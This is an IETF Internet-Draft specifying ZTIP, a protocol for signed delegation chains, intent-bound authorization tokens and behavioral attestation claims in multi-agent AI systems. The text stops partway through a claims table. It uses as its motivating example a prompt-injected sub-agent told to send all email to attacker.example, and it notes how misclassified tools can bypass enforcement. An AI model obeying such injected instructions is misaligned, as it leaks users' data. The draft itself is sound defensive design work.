Network Working Group J. Miller Internet-Draft 27 April 2026 Intended status: Standards Track Expires: 29 October 2026 Zero-Trust Intent Protocol (ZTIP) draft-miller-ztip-00 Abstract The Zero-Trust Intent Protocol (ZTIP) defines three primitives for verifiable delegation, intent binding, and behavioral attestation in multi-agent systems: 1. *Delegation Chain Attestation* — a nested-JWS structure carrying signed delegation from a root principal (a human user, an orchestrator, or a trusted root) through intermediary agents to a downstream agent or tool, with cryptographic enforcement of scope monotonicity. 2. *Intent-Scoped Authorization* — extends any signed authorization token (OAuth 2.0 access tokens, GNAP grants, ZTNP Permits, or vendor-defined tokens) with a hash of the originator's signed intent, so that an agent operating under that token cannot use it for actions inconsistent with the original authorization. This addresses the prompt-injection-induced confused-deputy attack. 3. *Behavioral Claim Extensions* — a claim shape conveying behavioral safety properties (prompt-injection-tested, tool-call- audit-logged, output-validated, human-in-loop policy, etc.) that can be carried in any signed credential about an agent. ZTIP is composable. It can be deployed standalone, composed with the Zero-Trust Negotiation Protocol (ZTNP) Core [I-D.miller-ztnp] for posture-aware deployments, composed with OAuth 2.0 / JWT for token- bound deployments, composed with GNAP [RFC9635], or composed with bespoke authorization systems. Section 6 specifies concrete composition profiles. This draft is an individual submission. The appropriate IETF venue for progressing this work is an open question; the author welcomes community guidance. Status of This Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Miller Expires 29 October 2026 [Page 1] Internet-Draft ZTIP April 2026 Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet- Drafts is at https://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on 29 October 2026. Copyright Notice Copyright (c) 2026 IETF Trust and the persons identified as the document authors. All rights reserved. This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (https://trustee.ietf.org/ license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Revised BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Revised BSD License. Table of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 4 1.1. Goals . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2. Non-Goals . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3. Relationship to Existing Token Chaining Mechanisms . . . 5 1.4. Document Structure . . . . . . . . . . . . . . . . . . . 6 1.5. Requirements Language . . . . . . . . . . . . . . . . . . 6 2. Terminology . . . . . . . . . . . . . . . . . . . . . . . . . 7 3. Delegation Chain Attestation . . . . . . . . . . . . . . . . 8 3.1. Chain Structure . . . . . . . . . . . . . . . . . . . . . 8 3.2. Intent Object Schema and Canonicalization . . . . . . . . 9 3.2.1. Intent Object Schema . . . . . . . . . . . . . . . . 10 3.2.2. Canonicalization . . . . . . . . . . . . . . . . . . 10 3.2.3. Intent Hash . . . . . . . . . . . . . . . . . . . . . 11 3.2.4. Inline Examples . . . . . . . . . . . . . . . . . . . 11 3.3. Verification Rules . . . . . . . . . . . . . . . . . . . 13 3.4. Formal Definition of Scope Monotonicity . . . . . . . . . 14 3.5. Maximum Chain Depth . . . . . . . . . . . . . . . . . . . 16 3.6. Carrying the Chain in Authorization Flows . . . . . . . . 17 3.7. Chain-Specific Reason Codes . . . . . . . . . . . . . . . 17 4. Intent-Scoped Authorization . . . . . . . . . . . . . . . . . 18 Miller Expires 29 October 2026 [Page 2] Internet-Draft ZTIP April 2026 4.1. Motivation . . . . . . . . . . . . . . . . . . . . . . . 18 4.2. Field Extensions to Authorization Tokens . . . . . . . . 18 4.3. Scope Consistency Check . . . . . . . . . . . . . . . . . 19 4.4. Operation Classification . . . . . . . . . . . . . . . . 20 5. Behavioral Claim Extensions . . . . . . . . . . . . . . . . . 21 5.1. Standard AI Behavior Claims . . . . . . . . . . . . . . . 21 5.1.1. Evidence Sub-Field . . . . . . . . . . . . . . . . . 23 5.1.2. Baseline Corpora for "Tested" Claims . . . . . . . . 24 5.2. Vendor-Defined and Bespoke Claims . . . . . . . . . . . . 25 5.3. Interaction with Standard Claims . . . . . . . . . . . . 26 6. Composition Profiles . . . . . . . . . . . . . . . . . . . . 26 6.1. Composition with ZTNP . . . . . . . . . . . . . . . . . . 26 6.2. Composition with OAuth 2.0 / JWT . . . . . . . . . . . . 26 6.3. Composition with GNAP . . . . . . . . . . . . . . . . . . 27 6.4. Custom Authorization Systems . . . . . . . . . . . . . . 29 6.5. Deployment Pattern: Transparent Intermediate Signer . . . 29 7. Security Considerations . . . . . . . . . . . . . . . . . . . 32 7.1. Trust Anchor . . . . . . . . . . . . . . . . . . . . . . 33 7.2. Additional Adversaries . . . . . . . . . . . . . . . . . 34 7.3. Attack Surface and Mitigations . . . . . . . . . . . . . 34 7.4. Out of Scope . . . . . . . . . . . . . . . . . . . . . . 35 8. Privacy Considerations . . . . . . . . . . . . . . . . . . . 36 9. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 37 9.1. ZTIP Denial Reason Code Registry . . . . . . . . . . . . 37 9.2. HTTP Field Name Registration . . . . . . . . . . . . . . 38 9.3. Note on Behavioral Claim Names . . . . . . . . . . . . . 39 10. Implementation Status . . . . . . . . . . . . . . . . . . . . 39 11. References . . . . . . . . . . . . . . . . . . . . . . . . . 40 11.1. Normative References . . . . . . . . . . . . . . . . . . 40 11.2. Informative References . . . . . . . . . . . . . . . . . 40 Appendix A. Worked Example: Three-Hop Delegation Chain (ZTNP Composition) . . . . . . . . . . . . . . . . . . . . . . 42 A.1. Scenario . . . . . . . . . . . . . . . . . . . . . . . . 42 A.2. A.1 Layer 0: Signed Intent (Root) . . . . . . . . . . . . 42 A.3. A.2 Layer 1: Orchestrator's Delegation . . . . . . . . . 43 A.4. A.3 Layer 2: Summarizer's Delegation . . . . . . . . . . 44 A.5. A.4 Verification Transcript at the Tool . . . . . . . . . 44 A.6. A.5 Intent-Scoped Permit Issued Alongside the Chain . . . 45 A.7. A.6 Failure Modes . . . . . . . . . . . . . . . . . . . . 46 Appendix B. Comparison with Macaroons and Related Capability Tokens . . . . . . . . . . . . . . . . . . . . . . . . . 46 B.1. At a Glance . . . . . . . . . . . . . . . . . . . . . . . 46 B.2. When Macaroons Fit Better Than ZTIP . . . . . . . . . . . 47 B.3. When ZTIP Fits Better Than Macaroons . . . . . . . . . . 47 B.4. Conceptual Lineage . . . . . . . . . . . . . . . . . . . 48 Appendix C. Conformance Profile . . . . . . . . . . . . . . . . 48 Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . 49 Author's Address . . . . . . . . . . . . . . . . . . . . . . . . 49 Miller Expires 29 October 2026 [Page 3] Internet-Draft ZTIP April 2026 1. Introduction In multi-principal delegation chains, an action is rarely the work of a single principal. A human user instructs an orchestrator; the orchestrator delegates a subtask to a sub-agent; the sub-agent invokes a tool. This chain of delegation introduces three classes of security problem that existing protocols do not address: 1. *Delegation integrity.* When a downstream tool receives a call, can it verify that the call chain leading to it was authorized end-to-end? Per-hop authorization tokens (OAuth 2.0 access tokens, JWTs, ZTNP Permits) only show that the immediately upstream party was trusted by the receiver — not that the entire chain back to the originating principal was authorized. 2. *Intent binding.* An authorization token issued for "summarize email" can be used for any action within the token's stated scope. If a sub-agent is prompt-injected mid-task into "send all email to attacker.example", the token's signature is still valid; only the intent has been substituted. This is a confused-deputy attack mediated by language-model context manipulation. 3. *Behavioral transparency.* A receiver applying policy to a language-model-driven agent needs more than identity and scope. Has the agent been tested against prompt injection? Are its tool calls audited? What is its human-in-loop policy? These are behavioral posture properties that don't fit the generic claim schemas of identity and authorization protocols. ZTIP addresses these three problems with three primitives, specified in Sections 3, 4, and 5. Each primitive is independently useful; deployments MAY adopt one without the others. ZTIP does not require any specific authorization or identity protocol. It defines its primitives in the abstract and provides composition profiles (Section 6) for the most common authorization systems: OAuth 2.0 / JWT, GNAP, ZTNP, and vendor-defined tokens. This pattern follows DPoP [RFC9449], which is technically standalone but most often composed with OAuth 2.0. 1.1. Goals ZTIP is designed to: 1. Provide cryptographic evidence of delegation authority from a root principal to a downstream agent, with verifiable scope monotonicity at each layer. Miller Expires 29 October 2026 [Page 4] Internet-Draft ZTIP April 2026 2. Bind authorization to specific user intent, preventing prompt- injection-induced authorization expansion. 3. Convey behavioral posture claims that inform policy decisions about which capabilities an agent may access. 4. Compose with multiple authorization systems without requiring any specific one. 1.2. Non-Goals ZTIP does not define: * Identity or authentication. * The runtime envelope for inter-agent communication. * The tool capability protocol. * Posture assessment or framework semantics (see ZTNP [I-D.miller-ztnp]). * A new authorization-token format. ZTIP extends existing authorization tokens; it does not define a new one. * A specific Key Source mechanism. ZTIP is agnostic between JWKS endpoints, X.509 chains, ZTNP's IKS, and DID resolution. 1.3. Relationship to Existing Token Chaining Mechanisms Reviewers familiar with nested JWTs, OAuth 2.0 Token Exchange [RFC8693], or GNAP continuation [RFC9635] may reasonably ask why ZTIP defines new primitives rather than reusing those mechanisms. The structures look superficially similar: a chain of signed credentials, each issued in response to a prior one. ZTIP's primitives differ on three properties that none of those mechanisms provide. 1. *Monotonic scope enforcement at every receiver.* Token Exchange permits a client to request a downstream token whose scope is determined by the AS's policy; the issued token's scope is not constrained by protocol to be a subset of the inbound token's scope. There is no protocol-level guarantee that "this downstream token grants only what the upstream token already granted." ZTIP's Section 3.4 makes scope reduction a normative property of the chain itself, verifiable at any receiver without recourse to the AS. Miller Expires 29 October 2026 [Page 5] Internet-Draft ZTIP April 2026 2. *End-to-end chain auditability.* Nested JWTs and chained Token Exchange responses do not preserve the identity and signature of every intermediary. A receiver of a token-exchanged JWT typically sees only the AS's signature; the chain of clients that requested and re-requested the token is opaque to the resource server. ZTIP's nested-JWS structure preserves each delegator's signature, so the receiver can verify "who authorized whom" for every step of the chain. 3. *Originator intent binding.* No existing token-chaining mechanism binds an issued token to a structured originator intent. A token-exchanged token is bound to its scope; ZTIP additionally binds it to the specific intent (intent_hash) the originator signed. This is what makes Section 4 a defense against prompt- injection-induced confused-deputy attacks: an injected instruction can request operations within the token's scope, but those operations will not match the bound intent. In short: existing token-chaining mechanisms answer "may this client present this token?" ZTIP additionally answers "did the original principal authorize this entire chain to perform this specific operation?" Deployments needing only the former should continue to use existing mechanisms; ZTIP is for deployments that need both. 1.4. Document Structure Sections 2 and 3 define terminology and the Delegation Chain Attestation primitive. Section 4 defines Intent-Scoped Authorization. Section 5 defines Behavioral Claim Extensions. Section 6 defines composition profiles for OAuth 2.0, ZTNP, GNAP, and custom authorization systems. Sections 7 and 8 contain Security and Privacy Considerations. Section 9 contains IANA Considerations. Appendix A is a worked example using the ZTNP composition profile. Appendix B defines the conformance profile. 1.5. Requirements Language The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in BCP 14 [RFC2119] [RFC8174] when, and only when, they appear in all capitals, as shown here. Miller Expires 29 October 2026 [Page 6] Internet-Draft ZTIP April 2026 2. Terminology +===============+===================================================+ | Term | Definition | +===============+===================================================+ | Originator | The root principal of a Delegation Chain | | | — a user, an orchestrator, or a trusted | | | root system that initiated an action. | +---------------+---------------------------------------------------+ | Signed Intent | A JWS produced by an Originator | | | describing the originally authorized | | | action and its scope. | +---------------+---------------------------------------------------+ | Delegation | A nested-JWS structure rooted at a Signed | | Chain | Intent, with each delegating principal | | | adding a signature layer that names the | | | next party. | +---------------+---------------------------------------------------+ | Scope | The principle that each layer of a | | Reduction | Delegation Chain may grant a subset, not | | | a superset, of its parent's scope | | | (Section 3.4). | +---------------+---------------------------------------------------+ | Authorization | A signed authorization credential | | Token | carrying scope and expiration information | | | about a delegated capability. Examples: | | | OAuth 2.0 access tokens, GNAP grants, | | | ZTNP Permits. | +---------------+---------------------------------------------------+ | Intent-Scoped | An Authorization Token additionally | | Authorization | extended with the four ZTIP fields | | Token | defined in Section 4: intent_hash, | | | intent_scope, chain_root_iss, | | | chain_root_jti. | +---------------+---------------------------------------------------+ | Key Source | A mechanism by which a verifier obtains | | | the public key of a signing principal — a | | | JWKS endpoint, an X.509 chain, an Issuer | | | Key Set (when composed with ZTNP), or a | | | DID resolution. ZTIP is agnostic to the | | | specific Key Source mechanism. | +---------------+---------------------------------------------------+ | Behavioral | A claim shape (Section 5) carrying | | Claims | behavioral safety properties of an agent. | | | May appear in any signed credential about | | | an agent. | +---------------+---------------------------------------------------+ Miller Expires 29 October 2026 [Page 7] Internet-Draft ZTIP April 2026 Table 1 3. Delegation Chain Attestation A Delegation Chain is a nested-JWS structure in which each delegating principal adds a signature layer. The root of the chain is a Signed Intent produced by the Originator. Each downstream layer wraps the previous chain and is signed by the principal delegating to the next. ZTIP does not specify how each principal's public key is discovered. Implementations resolve keys via a Key Source appropriate to their deployment. Section 6 defines specific composition profiles and their Key Source mechanisms. 3.1. Chain Structure Three-hop example (user → orchestrator → sub-agent → tool): Miller Expires 29 October 2026 [Page 8] Internet-Draft ZTIP April 2026 Outermost (sub-agent A's JWS): payload: { "del_chain_ver": "0.1", "delegator": "agent:A", "delegatee": "tool:T", "scope_reduction": { "actions": ["read"], "data": ["internal"] }, "iat": ..., "exp": ..., "inner": "" } Middle (orchestrator O's JWS): payload: { "del_chain_ver": "0.1", "delegator": "principal:O", "delegatee": "agent:A", "scope_reduction": { ... }, "iat": ..., "exp": ..., "inner": "" } Root (Signed Intent): payload: { "del_chain_ver": "0.1", "intent_root": true, "originator": "user:alice", "intent_object": { ... structured intent (Section 3.2) ... }, "intent_hash": "", "authorized_chain": ["principal:O", "agent:A"], "scope": { ... }, "iat": ..., "exp": ... } 3.2. Intent Object Schema and Canonicalization The root layer's intent — what the originating principal is authorizing — MUST be expressed as a structured JSON object, not as free-form natural-language text. Three reasons: 1. Free-form text is not reproducibly hashable across implementers (whitespace, line endings, and encoding choices all introduce non-determinism). 2. Free-form text is not machine-comparable to a downstream operation; verifiers need structured fields to evaluate intent_scope against a requested operation (Section 4). Miller Expires 29 October 2026 [Page 9] Internet-Draft ZTIP April 2026 3. A structured intent forces the originator's user interface to disambiguate intent at the point of signing, rather than deferring interpretation to downstream agents — which is precisely the gap that creates confused-deputy attacks. 3.2.1. Intent Object Schema The intent_object field on the root Signed Intent MUST be a JSON object containing at least: +=============+========+==========+=============================+ | Field | Type | Required | Description | +=============+========+==========+=============================+ | action | string | Yes | A short verb describing the | | | | | user's desired operation | | | | | (e.g., "summarize", | | | | | "search", "compose"). | +-------------+--------+----------+-----------------------------+ | scope | object | Yes | The scope within which the | | | | | originator authorizes | | | | | downstream agents to | | | | | operate. MUST equal the | | | | | root layer's scope field. | +-------------+--------+----------+-----------------------------+ | target | string | No | A human-readable | | | | | description of what the | | | | | action operates on. | +-------------+--------+----------+-----------------------------+ | constraints | object | No | Profile-defined additional | | | | | constraints (e.g., | | | | | must_not, time-window | | | | | limits). | +-------------+--------+----------+-----------------------------+ Table 2 Profile documents MAY extend the schema with additional fields. Extension fields MUST NOT alter the meaning of the required fields above. 3.2.2. Canonicalization The canonical form of an intent_object is its JSON Canonicalization Scheme serialization, per [RFC8785]. JCS provides: * Deterministic key ordering (lexicographic). Miller Expires 29 October 2026 [Page 10] Internet-Draft ZTIP April 2026 * Deterministic number representation (no trailing zeros, no scientific notation for non-special values). * UTF-8 encoding of the resulting byte sequence. * No insignificant whitespace. Implementers MUST use a JCS implementation conformant with RFC 8785. Variant canonicalization schemes MUST NOT be used. 3.2.3. Intent Hash intent_hash is computed as: intent_hash = base64url(SHA-256(JCS(intent_object) encoded as UTF-8 bytes)) base64url is the URL-safe base64 encoding without padding, per Section 5 of [RFC7515]. Verifiers receiving a chain MUST recompute intent_hash from the root layer's intent_object and verify it matches both: 1. The intent_hash field within the same root layer (consistency check). 2. The intent_hash field on any Intent-Scoped Authorization Token (Section 4) issued under this chain. Mismatch causes rejection with INTENT_SCOPE_MISMATCH. 3.2.4. Inline Examples Three intent objects illustrating common patterns. Each is shown as the input JSON, the JCS canonical bytes (where shown), and the resulting intent_hash. The hash values shown are computed against an RFC 8785 reference implementation; conforming implementations MUST produce these values for these inputs. *Example 1: Read-only summarization.* Miller Expires 29 October 2026 [Page 11] Internet-Draft ZTIP April 2026 { "action": "summarize", "scope": { "actions": ["read"], "data": ["internal", "pii"], "tools": ["email.list", "email.read"] }, "target": "unread emails from the last 24 hours", "constraints": { "must_not": ["email.send", "email.delete"] } } JCS canonical bytes (the actual canonical form, with no insignificant whitespace): {"action":"summarize","constraints":{"must_not":["email.send","email.delete"]},"scope":{"actions":["read"],"data":["internal","pii"],"tools":["email.list","email.read"]},"target":"unread emails from the last 24 hours"} JCS sorts object keys lexicographically (note action before constraints before scope before target at the top level, and must_not after actions/data/tools are reordered within the inner objects) but *preserves the insertion order of array elements* — must_not retains email.send before email.delete from the input. RFC 8785 specifies key sorting for objects, not for array elements. Computed intent_hash: Q9h_MJaQrDtKRb7MKfwg664jUWmVlErfdS8Qm1y6qNc. *Example 2: Knowledge-base search with redaction.* { "action": "search", "scope": { "actions": ["read"], "data": ["internal"], "tools": ["kb.query"] }, "target": "internal product specifications matching 'thermostat'", "constraints": { "redact": ["customer_pii", "pricing_internal"] } } Computed intent_hash: vMdbs17cp0K0-TJKz8l5iTPMSgXLVN4Epyjq5yz7gYY. *Example 3: Financial transfer with strict allowlist.* Miller Expires 29 October 2026 [Page 12] Internet-Draft ZTIP April 2026 { "action": "transfer_funds", "scope": { "actions": ["write"], "tools": ["bank.transfer"], "rate_limit": { "max": 1, "window_seconds": 86400 } }, "target": "vendor invoice payment", "constraints": { "amount_max_usd": 500, "destination_must_be_in": ["preapproved_vendors"] } } Computed intent_hash: OW_76HLPAd8nVL7Z3e_jk1Q_8aQmFzn71hqrTMSfpeQ. The constraints field is profile-specific. Verifiers MUST ignore unrecognized constraint fields they do not understand, EXCEPT when local policy requires recognition of those fields — in which case the policy MUST reject Posture Assertions or Authorization Tokens whose intent contains uninterpretable constraints. 3.3. Verification Rules A chain recipient MUST: 1. Unwrap each JWS layer and verify against the stated delegator's public key, obtained from the deployment's Key Source. 2. Verify the chain of delegator/delegatee references is unbroken. Each layer's delegatee MUST equal the next layer's delegator (or, for the layer immediately above the root, MUST appear in the root's authorized_chain). 3. *Enforce scope monotonicity* per Section 3.4. Attempts to expand scope MUST cause rejection with reason code DEL_CHAIN_SCOPE_EXPANDED. 4. Verify the root is signed by an Originator the recipient trusts. 5. Verify no layer is expired (exp in past, accounting for clock skew under 5 minutes). 6. *Verify chain depth* is within the configured maximum per Section 3.5. Miller Expires 29 October 2026 [Page 13] Internet-Draft ZTIP April 2026 7. Recompute intent_hash from the root's intent_object per Section 3.2 and verify the recomputed value matches the root's claimed intent_hash. Implementations supporting Delegation Chains MUST enforce scope monotonicity (rule 3), chain-depth limit (rule 6), and intent-hash consistency (rule 7). These are the load-bearing security properties of the chain. 3.4. Formal Definition of Scope Monotonicity Rule 3 in Section 3.3 requires "scope_reduction MUST be a subset of the parent's scope." This subsection formalizes "subset" for each scope field type so that conforming implementations agree on what monotonicity means. A scope value at child layer C is *monotone* with respect to parent layer P when, for every field present in C, the relation in the table below holds: Miller Expires 29 October 2026 [Page 14] Internet-Draft ZTIP April 2026 +================+===========+====================================+ | Field | Type | "C ⊆ P" relation | +================+===========+====================================+ | actions | array of | Every element of C.actions is an | | | strings | element of P.actions. C.actions | | | | MAY be empty. | +----------------+-----------+------------------------------------+ | data | array of | Every element of C.data is an | | | strings | element of P.data. C.data MAY be | | | | empty. | +----------------+-----------+------------------------------------+ | tools | array of | Every element of C.tools is an | | | strings | element of P.tools. C.tools MAY | | | | be empty. | +----------------+-----------+------------------------------------+ | rate_limit.max | integer | C.max <= P.max. | +----------------+-----------+------------------------------------+ | rate_limit | object | C.max / C.window_seconds <= P.max | | (combined) | | / P.window_seconds (effective rate | | | | is no greater) AND C.max <= P.max | | | | (burst capacity is no greater). | +----------------+-----------+------------------------------------+ | ttl | integer | C.ttl <= P.ttl. | | | (seconds) | | +----------------+-----------+------------------------------------+ | iat (per- | integer | C.iat >= P.iat. | | layer) | (Unix | | | | seconds) | | +----------------+-----------+------------------------------------+ | exp (per- | integer | C.exp <= P.exp. | | layer) | (Unix | | | | seconds) | | +----------------+-----------+------------------------------------+ Table 3 *Field introduction.* A child layer MUST NOT introduce a scope field that is not present in its parent. A field absent in P but present in C is a scope expansion and MUST cause rejection with DEL_CHAIN_SCOPE_EXPANDED. *Profile-defined fields.* When a profile defines additional scope fields, the profile document MUST specify the subset relation for those fields. Verifiers encountering profile-defined fields without a known subset relation MUST treat them as opaque: presence in C requires identical value in P (i.e., C.field deeply equals P.field) for monotonicity to hold. Miller Expires 29 October 2026 [Page 15] Internet-Draft ZTIP April 2026 *Empty vs. omitted in the child.* An empty array ([]) in a child layer means "no operations of this type are authorized." An omitted field in a child layer is interpreted as inheriting the parent's value, NOT as removing the parent's constraint. A child layer that wishes to drop a dimension entirely MUST set it to an empty array. *Diagnostic on rejection.* When a chain is rejected for scope violation, the verifier SHOULD include in the DEL_CHAIN_SCOPE_EXPANDED reason the specific field path and the offending values. Example: "field": "tools", "child_value": "email.send", "parent_authorizes": ["email.list", "email.read"]. 3.5. Maximum Chain Depth Implementations MUST enforce a maximum chain depth limit. The depth is the number of nested JWS layers, counting both the root Signed Intent and each delegation wrapper. * *RECOMMENDED maximum: 8 layers.* This is sufficient for the orchestration patterns observed at the time of this specification's publication; deployments needing more SHOULD document why. * Deployments operating in environments with bounded delegation patterns MAY configure a lower limit (e.g., 3 for simple two-hop chains). * Verifiers MUST reject chains exceeding the configured limit with reason code DEL_CHAIN_DEPTH_EXCEEDED. * The depth check MUST be performed before recursive signature verification, to prevent stack-exhaustion or computational denial- of-service attacks via deeply nested chains. The depth limit also bounds the legitimate value of the max_tool_call_depth Behavioral Claim (Section 5). An agent claiming max_tool_call_depth: N SHOULD NOT participate in chains where the verifier's configured depth limit is less than N. *Cost-scaling note.* Signature verification, JSON parsing, and JCS canonicalization each scale linearly with chain depth: an N-layer chain requires N signature verifications and N JSON-payload parses at the receiver. The depth limit therefore bounds two distinct concerns — stack-exhaustion (addressed by the pre-verification depth check above) and per-request CPU cost (which scales linearly up to the limit). Verifiers operating at high request rates SHOULD configure a depth limit at the lower end of the range their orchestration patterns permit, and SHOULD treat the configured limit as a CPU- Miller Expires 29 October 2026 [Page 16] Internet-Draft ZTIP April 2026 budget parameter as well as a stack-safety parameter. Alternative chain encodings (flat hash-linked structures, batch-verifiable signatures) were considered but rejected for this base specification in favor of the broad implementer familiarity with nested JWS; profiles MAY define alternative encodings where the cost matters. 3.6. Carrying the Chain in Authorization Flows The Delegation Chain is carried alongside an Authorization Token. The exact carriage mechanism depends on the composition profile (Section 6). When a recipient's policy requires a chain (e.g., a policy field require_delegation_chain: true), absence MUST cause DEL_CHAIN_MISSING denial. Carriage MAY be either session-bound (the chain is supplied once at session establishment and reused for subsequent operations within the session) or per-call (each operation carries its own chain). Per- call carriage is appropriate for stateless gateways and edge-deployed verifiers that cannot maintain per-session state. Session-bound carriage is appropriate for long-lived sessions where re-supplying the chain on every request is wasteful. Implementations supporting both modes MUST advertise their preference in the relevant composition profile's discovery mechanism. 3.7. Chain-Specific Reason Codes The following reason codes are registered in the IANA ZTIP Denial Reason Code Registry (Section 9): Miller Expires 29 October 2026 [Page 17] Internet-Draft ZTIP April 2026 +==========================+==================================+ | Code | Meaning | +==========================+==================================+ | DEL_CHAIN_MISSING | Policy requires a Delegation | | | Chain but none was provided. | +--------------------------+----------------------------------+ | DEL_CHAIN_BROKEN | Chain of delegator/delegatee | | | references has a gap. | +--------------------------+----------------------------------+ | DEL_CHAIN_SCOPE_EXPANDED | A child layer attempts to grant | | | broader scope than its parent. | +--------------------------+----------------------------------+ | DEL_CHAIN_EXPIRED | One or more chain layers has | | | expired. | +--------------------------+----------------------------------+ | DEL_CHAIN_UNTRUSTED_ROOT | The root Signed Intent is not | | | signed by a trusted Originator. | +--------------------------+----------------------------------+ | DEL_CHAIN_DEPTH_EXCEEDED | The chain exceeds the verifier's | | | configured maximum depth. | +--------------------------+----------------------------------+ Table 4 4. Intent-Scoped Authorization 4.1. Motivation An authorization token issued without reference to the original authorized intent can be used for any action within its stated scope, regardless of what the user actually asked. This is the mechanism by which prompt injection escalates to a confused-deputy attack: the injected instruction substitutes a new operational intent, but the token's scope is broad enough to authorize it. Intent-Scoped Authorization Tokens bind the token to the root Signed Intent (Section 3). A resource receiving such a token can verify that the action being requested is consistent with the original intent, not just with the token's scope. 4.2. Field Extensions to Authorization Tokens ZTIP defines four additional claims for any signed Authorization Token: Miller Expires 29 October 2026 [Page 18] Internet-Draft ZTIP April 2026 +==============+======+========+====================================+ |Field |Type |Required|Description | +==============+======+========+====================================+ |intent_hash |string|Yes |base64url(SHA-256(JCS(intent_object)| | | | |UTF-8 bytes)) per Section 3.2 — MUST| | | | |equal the root Signed Intent's | | | | |intent_hash. | +--------------+------+--------+------------------------------------+ |intent_scope |object|Yes |The authorized scope derived from | | | | |the root Signed Intent. | +--------------+------+--------+------------------------------------+ |chain_root_iss|string|Yes |Identifier of the root Signed | | | | |Intent's Originator. | +--------------+------+--------+------------------------------------+ |chain_root_jti|string|Yes |jti of the root Signed Intent (for | | | | |revocation/audit). | +--------------+------+--------+------------------------------------+ Table 5 These fields are added to the Authorization Token's existing claim set. The exact placement depends on the composition profile (Section 6): * *OAuth 2.0 / JWT access token*: top-level claims alongside iss, sub, scope, exp. * *ZTNP Permit*: top-level fields alongside permit_id, constraints. * *GNAP grant*: as an extension element of the grant response. The token issuer (whoever issues the underlying authorization token) MUST verify that the action requested by the bearer is within intent_scope before the token is honored. If the bearer attempts to invoke a tool or access data outside intent_scope, the token issuer MUST deny the request even if the token's other scope fields would otherwise permit it. 4.3. Scope Consistency Check A token verifier enforcing an Intent-Scoped Authorization Token MUST evaluate the following before each gated operation: 1. Determine the operation's (action, data_classes, tool) signature from the request being gated. Miller Expires 29 October 2026 [Page 19] Internet-Draft ZTIP April 2026 2. Verify that the operation falls within intent_scope, using the same subset relations as Section 3.4. Specifically: the operation's tool MUST be in intent_scope.tools (when intent_scope.tools is present); the operation's action MUST be in intent_scope.actions; each data class touched by the operation MUST be in intent_scope.data. 3. If any check fails, return a denial with reason code INTENT_SCOPE_MISMATCH. The verifier MUST additionally verify that the token's intent_hash matches the recomputed hash from the root Signed Intent's intent_object (per Section 3.2). A mismatch indicates either a substituted token or a tampered chain and MUST cause INTENT_SCOPE_MISMATCH rejection. 4.4. Operation Classification The Scope Consistency Check above requires the verifier to determine an operation's (action, data_classes, tool) signature. ZTIP does not standardize how operations are classified into actions and data classes: a service mesh fronting a relational database has different action vocabularies (SELECT, INSERT) than an email gateway (email.read, email.send) or a financial system (transfer, query_balance). Operation classification is therefore deployment- and profile-defined, not protocol-defined. This is a deliberate deferral, but it is also a security-relevant gap. Misclassification — labeling a write-causing tool call as read, mapping a data-exfiltrating tool to a benign-looking action, or having two parties disagree on what email.send means — silently bypasses intent-scope enforcement. The cryptographic guarantees of Sections 3 and 4 are then evaluating an operation signature that does not correspond to the operation actually performed. Two requirements follow: 1. *Profiles SHOULD specify a strict operation taxonomy* for their domain — the set of valid tool names, the action each tool implements, and the data classes each operation touches — so that classification is not left to ad-hoc deployment choice. The taxonomy SHOULD be authenticated (e.g., served from a tool- capability registry that the verifier trusts) so that a tool cannot self-classify into a more permissive category at request time. Miller Expires 29 October 2026 [Page 20] Internet-Draft ZTIP April 2026 2. *Verifiers MUST treat operation classification as part of their security boundary.* A tool whose runtime behavior does not match its declared classification is a security failure regardless of cryptographic verification. Deployments SHOULD audit tool implementations against their declared classifications, and SHOULD reject operations whose classification cannot be authenticated against a trusted source. Cryptographic verification of the chain and the intent hash is necessary but not sufficient: the intent-binding guarantee depends on the verifier and the tool agreeing on what operation is being performed. Treat the operation taxonomy with the same rigor as the cryptography. 5. Behavioral Claim Extensions For deployments where a verifier needs behavioral posture information about an agent, ZTIP defines a claim shape carrying behavioral safety properties. This claim shape can appear in any signed credential about an agent — typically a Posture Assertion when composed with ZTNP, a JWT claim about the bearer when composed with OAuth, or a vendor-defined credential. *Behavioral claims are advisory and non-normative with respect to ZTIP's core security guarantees.* The chain-integrity, scope- monotonicity, and intent-binding properties of Sections 3 and 4 do not depend on any behavioral claim. A verifier MAY ignore behavioral claims entirely without weakening any of those properties; a verifier that consults behavioral claims is making a _policy_ decision about acceptable agent behavior, not relying on a security primitive. Behavioral claims are a transport for the sort of attestation that one party makes to another about how an agent is operated; their meaning is established by issuer reputation, the evidence sub-field below, and out-of-band agreement, not by the protocol. Deployments dismissing behavioral claims as "marketing, not protocol" can deploy ZTIP without them and still get the chain-integrity and intent- binding guarantees. The claims appear under the namespace ai_behavior within the credential's claim payload. 5.1. Standard AI Behavior Claims The following claim names are defined by this specification: Miller Expires 29 October 2026 [Page 21] Internet-Draft ZTIP April 2026 +=========================+=========+==========================+ | Claim | Type | Description | +=========================+=========+==========================+ | prompt_injection_tested | boolean | Tested against prompt- | | | | injection scenarios. | +-------------------------+---------+--------------------------+ | tool_call_audit_logged | boolean | All tool invocations are | | | | logged to a tamper- | | | | evident audit trail. | +-------------------------+---------+--------------------------+ | tool_misuse_score | number | 0.0-1.0; lower = lower | | | | observed misuse risk. | | | | Calibration is profile- | | | | specific; ZTIP does not | | | | standardize a | | | | measurement methodology. | +-------------------------+---------+--------------------------+ | output_validated | boolean | Agent output is | | | | validated before being | | | | acted upon. | +-------------------------+---------+--------------------------+ | human_in_loop_policy | string | One of: never, | 